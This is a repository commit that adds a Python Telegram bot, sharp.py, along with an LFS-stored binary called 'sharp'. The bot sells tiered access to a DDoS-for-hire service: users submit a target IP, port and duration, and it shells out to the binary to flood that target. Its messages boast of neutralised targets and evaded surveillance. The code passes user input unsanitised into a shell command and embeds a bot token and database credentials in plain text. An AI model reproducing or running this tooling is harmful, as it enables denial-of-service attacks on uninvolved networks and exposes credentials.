Upload 2 files
Browse files- .gitattributes +1 -0
- sharp +3 -0
- sharp.py +247 -0
.gitattributes
CHANGED
|
@@ -57,3 +57,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
| 57 |
# Video files - compressed
|
| 58 |
*.mp4 filter=lfs diff=lfs merge=lfs -text
|
| 59 |
*.webm filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
| 57 |
# Video files - compressed
|
| 58 |
*.mp4 filter=lfs diff=lfs merge=lfs -text
|
| 59 |
*.webm filter=lfs diff=lfs merge=lfs -text
|
| 60 |
+
sharp filter=lfs diff=lfs merge=lfs -text
|
sharp
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:9658b9f4cd2432aff98c8cc3e34e1c8f99572a7dd2d3f4f3638a70d168091df9
|
| 3 |
+
size 1439904
|
sharp.py
ADDED
|
@@ -0,0 +1,247 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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4 |
+
import requests
|
| 5 |
+
import logging
|
| 6 |
+
import time
|
| 7 |
+
from pymongo import MongoClient
|
| 8 |
+
from datetime import datetime, timedelta
|
| 9 |
+
import certifi
|
| 10 |
+
import random
|
| 11 |
+
from threading import Thread
|
| 12 |
+
import asyncio
|
| 13 |
+
from telebot.types import ReplyKeyboardMarkup, KeyboardButton
|
| 14 |
+
|
| 15 |
+
loop = asyncio.get_event_loop()
|
| 16 |
+
|
| 17 |
+
# Bot Configuration: Set with Authority
|
| 18 |
+
TOKEN = '7439341959:AAFthWNzvMcV7D8L0WscIvr5kOvxgEuNAw4'
|
| 19 |
+
ADMIN_USER_ID = 6512242172
|
| 20 |
+
MONGO_URI = 'mongodb+srv://sharp:sharp@sharpx.x82gx.mongodb.net/?retryWrites=true&w=majority&appName=SharpX'
|
| 21 |
+
USERNAME = "@offx_sahil" # Immutable username for maximum security
|
| 22 |
+
|
| 23 |
+
# Attack Status Variable to Control Single Execution
|
| 24 |
+
attack_in_progress = False
|
| 25 |
+
|
| 26 |
+
# Logging for Precision Monitoring
|
| 27 |
+
logging.basicConfig(format='%(asctime)s - βοΈ %(message)s', level=logging.INFO)
|
| 28 |
+
|
| 29 |
+
# MongoDB Connection - Operative Data Storage
|
| 30 |
+
client = MongoClient(MONGO_URI, tlsCAFile=certifi.where())
|
| 31 |
+
db = client['sharp']
|
| 32 |
+
users_collection = db.users
|
| 33 |
+
|
| 34 |
+
# Bot Initialization
|
| 35 |
+
bot = telebot.TeleBot(TOKEN)
|
| 36 |
+
REQUEST_INTERVAL = 1
|
| 37 |
+
|
| 38 |
+
blocked_ports = [8700, 20000, 443, 17500, 9031, 20002, 20001]
|
| 39 |
+
|
| 40 |
+
# Asyncio Loop for Operations
|
| 41 |
+
async def start_asyncio_thread():
|
| 42 |
+
asyncio.set_event_loop(loop)
|
| 43 |
+
await start_asyncio_loop()
|
| 44 |
+
|
| 45 |
+
# Proxy Update Command with Dark Authority
|
| 46 |
+
def update_proxy():
|
| 47 |
+
proxy_list = [] # Define proxies here
|
| 48 |
+
proxy = random.choice(proxy_list) if proxy_list else None
|
| 49 |
+
if proxy:
|
| 50 |
+
telebot.apihelper.proxy = {'https': proxy}
|
| 51 |
+
logging.info("π΄οΈ Proxy shift complete. Surveillance evaded.")
|
| 52 |
+
|
| 53 |
+
@bot.message_handler(commands=['update_proxy'])
|
| 54 |
+
def update_proxy_command(message):
|
| 55 |
+
chat_id = message.chat.id
|
| 56 |
+
try:
|
| 57 |
+
update_proxy()
|
| 58 |
+
bot.send_message(chat_id, f"π Proxy locked in. Weβre untouchable. Bot by {USERNAME}")
|
| 59 |
+
except Exception as e:
|
| 60 |
+
bot.send_message(chat_id, f"β οΈ Proxy config failed: {e}")
|
| 61 |
+
|
| 62 |
+
async def start_asyncio_loop():
|
| 63 |
+
while True:
|
| 64 |
+
await asyncio.sleep(REQUEST_INTERVAL)
|
| 65 |
+
|
| 66 |
+
# Attack Initiation - Operative Status Checks and Intensity
|
| 67 |
+
async def run_attack_command_async(target_ip, target_port, duration):
|
| 68 |
+
global attack_in_progress
|
| 69 |
+
attack_in_progress = True # Set the flag to indicate an attack is in progress
|
| 70 |
+
|
| 71 |
+
process = await asyncio.create_subprocess_shell(f"./sharp {target_ip} {target_port} {duration}")
|
| 72 |
+
await process.communicate()
|
| 73 |
+
|
| 74 |
+
attack_in_progress = False # Reset the flag after the attack is complete
|
| 75 |
+
notify_attack_finished(target_ip, target_port, duration)
|
| 76 |
+
|
| 77 |
+
# Final Attack Message Upon Completion
|
| 78 |
+
def notify_attack_finished(target_ip, target_port, duration):
|
| 79 |
+
bot.send_message(
|
| 80 |
+
ADMIN_USER_ID,
|
| 81 |
+
f"π₯ *MISSION ACCOMPLISHED!* π₯\n\n"
|
| 82 |
+
f"π― *TARGET NEUTRALIZED:* `{target_ip}`\n"
|
| 83 |
+
f"π£ *PORT BREACHED:* `{target_port}`\n"
|
| 84 |
+
f"β³ *DURATION:* `{duration} seconds`\n\n"
|
| 85 |
+
f"π₯ *Operation Complete. No Evidence Left Behind. Courtesy of {USERNAME}*",
|
| 86 |
+
parse_mode='Markdown'
|
| 87 |
+
)
|
| 88 |
+
|
| 89 |
+
@bot.message_handler(commands=['approve', 'disapprove'])
|
| 90 |
+
def approve_or_disapprove_user(message):
|
| 91 |
+
user_id = message.from_user.id
|
| 92 |
+
chat_id = message.chat.id
|
| 93 |
+
cmd_parts = message.text.split()
|
| 94 |
+
|
| 95 |
+
if user_id != ADMIN_USER_ID:
|
| 96 |
+
bot.send_message(chat_id, f"π« *Access Denied. Only {USERNAME} controls this realm.*", parse_mode='Markdown')
|
| 97 |
+
return
|
| 98 |
+
|
| 99 |
+
if len(cmd_parts) < 2:
|
| 100 |
+
bot.send_message(chat_id, f"π *Format: /approve <user_id> <plan> <days> or /disapprove <user_id>. Reserved by {USERNAME}*", parse_mode='Markdown')
|
| 101 |
+
return
|
| 102 |
+
|
| 103 |
+
action, target_user_id = cmd_parts[0], int(cmd_parts[1])
|
| 104 |
+
plan, days = (int(cmd_parts[2]) if len(cmd_parts) >= 3 else 0), (int(cmd_parts[3]) if len(cmd_parts) >= 4 else 0)
|
| 105 |
+
|
| 106 |
+
if action == '/approve':
|
| 107 |
+
limit_reached = (plan == 1 and users_collection.count_documents({"plan": 1}) >= 99) or \
|
| 108 |
+
(plan == 2 and users_collection.count_documents({"plan": 2}) >= 499)
|
| 109 |
+
if limit_reached:
|
| 110 |
+
bot.send_message(chat_id, f"β οΈ *Plan limit reached. Access denied. Controlled by {USERNAME}*", parse_mode='Markdown')
|
| 111 |
+
return
|
| 112 |
+
|
| 113 |
+
valid_until = (datetime.now() + timedelta(days=days)).date().isoformat() if days else datetime.now().date().isoformat()
|
| 114 |
+
users_collection.update_one(
|
| 115 |
+
{"user_id": target_user_id},
|
| 116 |
+
{"$set": {"plan": plan, "valid_until": valid_until, "access_count": 0}},
|
| 117 |
+
upsert=True
|
| 118 |
+
)
|
| 119 |
+
msg_text = f"*User {target_user_id} granted access β Plan {plan} for {days} days. Approved by {USERNAME}*"
|
| 120 |
+
else:
|
| 121 |
+
users_collection.update_one(
|
| 122 |
+
{"user_id": target_user_id},
|
| 123 |
+
{"$set": {"plan": 0, "valid_until": "", "access_count": 0}},
|
| 124 |
+
upsert=True
|
| 125 |
+
)
|
| 126 |
+
msg_text = f"*User {target_user_id} removed. Clearance by {USERNAME}*"
|
| 127 |
+
|
| 128 |
+
bot.send_message(chat_id, msg_text, parse_mode='Markdown')
|
| 129 |
+
|
| 130 |
+
@bot.message_handler(commands=['Attack'])
|
| 131 |
+
def attack_command(message):
|
| 132 |
+
global attack_in_progress
|
| 133 |
+
chat_id = message.chat.id
|
| 134 |
+
|
| 135 |
+
# Check if an attack is already in progress
|
| 136 |
+
if attack_in_progress:
|
| 137 |
+
bot.send_message(chat_id, f"β οΈ *An attack is already in progress. Please wait until it completes, {USERNAME}.*", parse_mode='Markdown')
|
| 138 |
+
return
|
| 139 |
+
|
| 140 |
+
user_id = message.from_user.id
|
| 141 |
+
|
| 142 |
+
try:
|
| 143 |
+
# Check user access
|
| 144 |
+
user_data = users_collection.find_one({"user_id": user_id})
|
| 145 |
+
if not user_data or user_data['plan'] == 0:
|
| 146 |
+
bot.send_message(chat_id, f"π« Unauthorized. Access limited to {USERNAME}.")
|
| 147 |
+
return
|
| 148 |
+
|
| 149 |
+
if user_data['plan'] == 1 and users_collection.count_documents({"plan": 1}) > 99:
|
| 150 |
+
bot.send_message(chat_id, f"π Plan π§‘ is full. Reach out to {USERNAME} for upgrades.")
|
| 151 |
+
return
|
| 152 |
+
|
| 153 |
+
if user_data['plan'] == 2 and users_collection.count_documents({"plan": 2}) > 499:
|
| 154 |
+
bot.send_message(chat_id, f"π₯ Instant++ Plan at capacity. Contact {USERNAME}.")
|
| 155 |
+
return
|
| 156 |
+
|
| 157 |
+
bot.send_message(chat_id, f"π Provide target details β IP, Port, Duration (seconds). Controlled by {USERNAME}")
|
| 158 |
+
bot.register_next_step_handler(message, process_attack_command)
|
| 159 |
+
except Exception as e:
|
| 160 |
+
logging.error(f"Attack command error: {e}")
|
| 161 |
+
|
| 162 |
+
def process_attack_command(message):
|
| 163 |
+
try:
|
| 164 |
+
args = message.text.split()
|
| 165 |
+
if len(args) != 3:
|
| 166 |
+
bot.send_message(message.chat.id, f"β οΈ *Format incorrect. Use: /Attack <IP> <Port> <Duration>. Maintained by {USERNAME}*", parse_mode='Markdown')
|
| 167 |
+
return
|
| 168 |
+
|
| 169 |
+
target_ip, target_port, duration = args[0], int(args[1]), args[2]
|
| 170 |
+
|
| 171 |
+
if target_port in blocked_ports:
|
| 172 |
+
bot.send_message(message.chat.id, f"π« *Port {target_port} restricted. Select a different entry point. Governed by {USERNAME}*", parse_mode='Markdown')
|
| 173 |
+
return
|
| 174 |
+
|
| 175 |
+
asyncio.run_coroutine_threadsafe(run_attack_command_async(target_ip, target_port, duration), loop)
|
| 176 |
+
bot.send_message(
|
| 177 |
+
message.chat.id,
|
| 178 |
+
f"π *β οΈ ATTACK INITIATED!* π\n\n"
|
| 179 |
+
f"π’ *SIGMA STRIKE IN EFFECT!* π’\n\n"
|
| 180 |
+
f"π― *TARGET SET:* `{target_ip}`\n"
|
| 181 |
+
f"π *PORT ACCESSED:* `{target_port}`\n"
|
| 182 |
+
f"β³ *DURATION LOCKED:* `{duration} seconds`\n\n"
|
| 183 |
+
f"π₯ *Unleashing force. No turning back. Powered by {USERNAME}* β‘",
|
| 184 |
+
parse_mode='Markdown'
|
| 185 |
+
)
|
| 186 |
+
except Exception as e:
|
| 187 |
+
logging.error(f"Error in process_attack_command: {e}")
|
| 188 |
+
|
| 189 |
+
def start_asyncio_thread():
|
| 190 |
+
asyncio.set_event_loop(loop)
|
| 191 |
+
loop.run_until_complete(start_asyncio_loop())
|
| 192 |
+
|
| 193 |
+
@bot.message_handler(commands=['start'])
|
| 194 |
+
def send_welcome(message):
|
| 195 |
+
# Unique, Intense Menu Options
|
| 196 |
+
markup = ReplyKeyboardMarkup(row_width=2, resize_keyboard=True, one_time_keyboard=True)
|
| 197 |
+
options = [
|
| 198 |
+
"π Initiate Attack π₯",
|
| 199 |
+
"π Status Report",
|
| 200 |
+
"π Mission Brief",
|
| 201 |
+
"π Contact HQ"
|
| 202 |
+
]
|
| 203 |
+
buttons = [KeyboardButton(option) for option in options]
|
| 204 |
+
markup.add(*buttons)
|
| 205 |
+
|
| 206 |
+
bot.send_message(
|
| 207 |
+
message.chat.id,
|
| 208 |
+
f"π *Welcome to Command, Agent. Choose your directive.* Managed by {USERNAME}",
|
| 209 |
+
reply_markup=markup,
|
| 210 |
+
parse_mode='Markdown'
|
| 211 |
+
)
|
| 212 |
+
|
| 213 |
+
@bot.message_handler(func=lambda message: True)
|
| 214 |
+
def handle_message(message):
|
| 215 |
+
if message.text == "π Initiate Attack π₯":
|
| 216 |
+
bot.reply_to(message, f"*Command received. Preparing deployment. Stand by, {USERNAME}*", parse_mode='Markdown')
|
| 217 |
+
attack_command(message)
|
| 218 |
+
elif message.text == "π Status Report":
|
| 219 |
+
user_id = message.from_user.id
|
| 220 |
+
user_data = users_collection.find_one({"user_id": user_id})
|
| 221 |
+
if user_data:
|
| 222 |
+
username = message.from_user.username
|
| 223 |
+
plan, valid_until = user_data.get('plan', 'N/A'), user_data.get('valid_until', 'N/A')
|
| 224 |
+
response = (f"*Agent ID: {username}\n"
|
| 225 |
+
f"Plan Level: {plan}\n"
|
| 226 |
+
f"Authorized Until: {valid_until}\n"
|
| 227 |
+
f"Timestamp: {datetime.now().isoformat()}. Verified by {USERNAME}*")
|
| 228 |
+
else:
|
| 229 |
+
response = f"*Profile unknown. Contact {USERNAME} for authorization.*"
|
| 230 |
+
bot.reply_to(message, response, parse_mode='Markdown')
|
| 231 |
+
elif message.text == "π Mission Brief":
|
| 232 |
+
bot.reply_to(message, f"*For support, type /help or contact {USERNAME} at HQ.*", parse_mode='Markdown')
|
| 233 |
+
elif message.text == "π Contact HQ":
|
| 234 |
+
bot.reply_to(message, f"*Direct Line to HQ: {USERNAME}*", parse_mode='Markdown')
|
| 235 |
+
else:
|
| 236 |
+
bot.reply_to(message, f"β*Unknown command. Focus, Agent. Managed by {USERNAME}*", parse_mode='Markdown')
|
| 237 |
+
|
| 238 |
+
if __name__ == "__main__":
|
| 239 |
+
asyncio_thread = Thread(target=start_asyncio_thread, daemon=True)
|
| 240 |
+
asyncio_thread.start()
|
| 241 |
+
logging.info("π Bot is operational and mission-ready.")
|
| 242 |
+
|
| 243 |
+
while True:
|
| 244 |
+
try:
|
| 245 |
+
bot.polling(none_stop=True)
|
| 246 |
+
except Exception as e:
|
| 247 |
+
logging.error(f"Polling error: {e}")
|